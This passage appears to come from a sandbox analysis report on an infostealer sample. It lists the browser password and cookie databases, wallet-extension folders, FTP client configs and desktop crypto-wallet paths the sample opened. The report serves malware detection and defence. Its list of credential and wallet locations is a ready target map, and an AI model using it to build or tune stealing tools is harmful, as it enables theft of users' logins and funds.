Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
